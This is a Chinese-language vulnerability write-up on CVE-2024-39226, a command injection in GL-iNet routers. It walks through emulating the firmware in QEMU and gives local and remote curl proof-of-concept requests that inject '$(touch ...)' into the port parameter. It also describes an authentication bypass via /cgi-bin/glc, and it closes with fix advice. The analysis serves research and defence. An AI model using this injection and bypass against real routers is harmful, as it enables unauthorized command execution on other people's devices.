GL-iNet 路由器 CVE-2024-39226 漏洞分析
字数 1349 2025-08-20 18:18:17

GL-iNet路由器CVE-2024-39226漏洞分析与复现指南

1. 漏洞概述

CVE-2024-39226是影响多款GL-iNet路由器的命令注入漏洞,存在于s2s模块的enable_echo_server功能中。攻击者可通过构造恶意请求在路由器上执行任意命令。

2. 受影响产品

  • 基于OpenWrt操作系统的GL-iNet路由器
  • 确认受影响的固件版本:GL-AX1800 Flint 4.5.16

3. 环境搭建

3.1 固件提取

  1. 从GL-iNet官网下载受影响固件
  2. 使用binwalk提取Squashfs文件系统:
    binwalk -Me root
    
  3. 确认架构为32位ARM:
    file squashfs-root/bin/busybox
    

3.2 QEMU模拟

  1. 准备ARM架构模拟环境:

    • vmlinuz-3.2.0-4-vexpress(内核镜像)
    • initrd.img-3.2.0-4-vexpress(RAM磁盘映像)
    • debian_wheezy_armhf_standard.qcow2(虚拟磁盘)
  2. 启动QEMU:

    sudo qemu-system-arm -M vexpress-a9 -cpu cortex-a15 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic
    
  3. 配置网络:

    • 宿主机运行net.sh脚本创建tap0接口
    • QEMU虚拟机配置IP和路由:
      ifconfig eth0 192.168.100.2 netmask 255.255.255.0
      route add default gw 192.168.100.254
      
  4. 上传固件并chroot:

    scp -r squashfs-root/ root@192.168.100.2:/root
    mount -t proc /proc ./squashfs-root/proc
    mount -o bind /dev ./squashfs-root/dev
    chroot ./squashfs-root/ sh
    

4. 服务启动

4.1 启动Nginx

  1. 首次尝试启动:

    /etc/init.d/nginx start
    
    • 可能报错缺少目录,需手动创建
  2. 修复404问题:

    /etc/uci-defaults/80_nginx-oui
    

4.2 启动依赖服务

  1. 启动ubus-proxy:

    /sbin/ubusd
    
  2. 启动fcgiwrap:

    /etc/init.d/fcgiwrap start
    

5. 漏洞复现

5.1 本地利用PoC

curl -H 'glinet: 1' 127.0.0.1/rpc -d '{"method":"call", "params":["", "s2s", "enable_echo_server", {"port": "7 $(touch /root/test)"}]}'

5.2 远程利用PoC

curl http://192.168.100.2/cgi-bin/glc -d '{"object":"s2s","method":"enable_echo_server","args":{"port":"7 $(touch /root/test2024)"}}'

6. 漏洞分析

6.1 漏洞位置

  • 文件:/usr/lib/oui-httpd/rpc/s2s.so
  • 函数:enable_echo_server

6.2 漏洞成因

  1. 代码检查port参数是否为有效数字(正数且<65535)
  2. 但未严格限制内容,允许嵌入特殊字符如$()
  3. 通过snprintf构造命令字符串:
    snprintf(v27, 128, "%s -p %s -f", "/usr/bin/echo_server", v9);
    
  4. 最终通过system()执行:
    system(v27);
    

6.3 调用链分析

  1. 请求路径:

    • /rpc → /usr/share/gl-ngx/oui-rpc.lua
    • /cgi-bin/glc → /www/cgi-bin/glc
  2. 权限校验:

    • /usr/lib/lua/oui/rpc.lua中的access函数
    • 检查is_local和glinet标头
  3. 绕过方法:

    • 直接请求/cgi-bin/glc可跳过权限校验

7. 修复建议

  1. 对port参数进行严格过滤,禁止任何非数字字符
  2. 避免使用system()执行命令,改用execve等安全函数
  3. 加强权限校验,确保所有路径都经过适当验证

8. 关键文件列表

  1. 配置文件:

    • /etc/nginx/conf.d/gl.conf
    • /etc/nginx/nginx.conf
  2. 处理脚本:

    • /usr/share/gl-ngx/oui-rpc.lua
    • /usr/lib/lua/oui/rpc.lua
    • /www/cgi-bin/glc
  3. 漏洞模块:

    • /usr/lib/oui-httpd/rpc/s2s.so

9. 调试技巧

  1. 查看Nginx日志:

    • 修改/etc/nginx/nginx.conf增加日志级别
    • 日志路径通常为/var/log/nginx/
  2. 服务状态检查:

    • 确认ubusd和fcgiwrap进程是否运行
    • 检查端口监听情况
  3. 错误排查:

    • 确保所有必需目录存在
    • 检查文件权限是否正确
GL-iNet路由器CVE-2024-39226漏洞分析与复现指南 1. 漏洞概述 CVE-2024-39226是影响多款GL-iNet路由器的命令注入漏洞,存在于s2s模块的enable_ echo_ server功能中。攻击者可通过构造恶意请求在路由器上执行任意命令。 2. 受影响产品 基于OpenWrt操作系统的GL-iNet路由器 确认受影响的固件版本:GL-AX1800 Flint 4.5.16 3. 环境搭建 3.1 固件提取 从GL-iNet官网下载受影响固件 使用binwalk提取Squashfs文件系统: 确认架构为32位ARM: 3.2 QEMU模拟 准备ARM架构模拟环境: vmlinuz-3.2.0-4-vexpress(内核镜像) initrd.img-3.2.0-4-vexpress(RAM磁盘映像) debian_ wheezy_ armhf_ standard.qcow2(虚拟磁盘) 启动QEMU: 配置网络: 宿主机运行net.sh脚本创建tap0接口 QEMU虚拟机配置IP和路由: 上传固件并chroot: 4. 服务启动 4.1 启动Nginx 首次尝试启动: 可能报错缺少目录,需手动创建 修复404问题: 4.2 启动依赖服务 启动ubus-proxy: 启动fcgiwrap: 5. 漏洞复现 5.1 本地利用PoC 5.2 远程利用PoC 6. 漏洞分析 6.1 漏洞位置 文件:/usr/lib/oui-httpd/rpc/s2s.so 函数:enable_ echo_ server 6.2 漏洞成因 代码检查port参数是否为有效数字(正数且 <65535) 但未严格限制内容,允许嵌入特殊字符如$() 通过snprintf构造命令字符串: 最终通过system()执行: 6.3 调用链分析 请求路径: /rpc → /usr/share/gl-ngx/oui-rpc.lua /cgi-bin/glc → /www/cgi-bin/glc 权限校验: /usr/lib/lua/oui/rpc.lua中的access函数 检查is_ local和glinet标头 绕过方法: 直接请求/cgi-bin/glc可跳过权限校验 7. 修复建议 对port参数进行严格过滤,禁止任何非数字字符 避免使用system()执行命令,改用execve等安全函数 加强权限校验,确保所有路径都经过适当验证 8. 关键文件列表 配置文件: /etc/nginx/conf.d/gl.conf /etc/nginx/nginx.conf 处理脚本: /usr/share/gl-ngx/oui-rpc.lua /usr/lib/lua/oui/rpc.lua /www/cgi-bin/glc 漏洞模块: /usr/lib/oui-httpd/rpc/s2s.so 9. 调试技巧 查看Nginx日志: 修改/etc/nginx/nginx.conf增加日志级别 日志路径通常为/var/log/nginx/ 服务状态检查: 确认ubusd和fcgiwrap进程是否运行 检查端口监听情况 错误排查: 确保所有必需目录存在 检查文件权限是否正确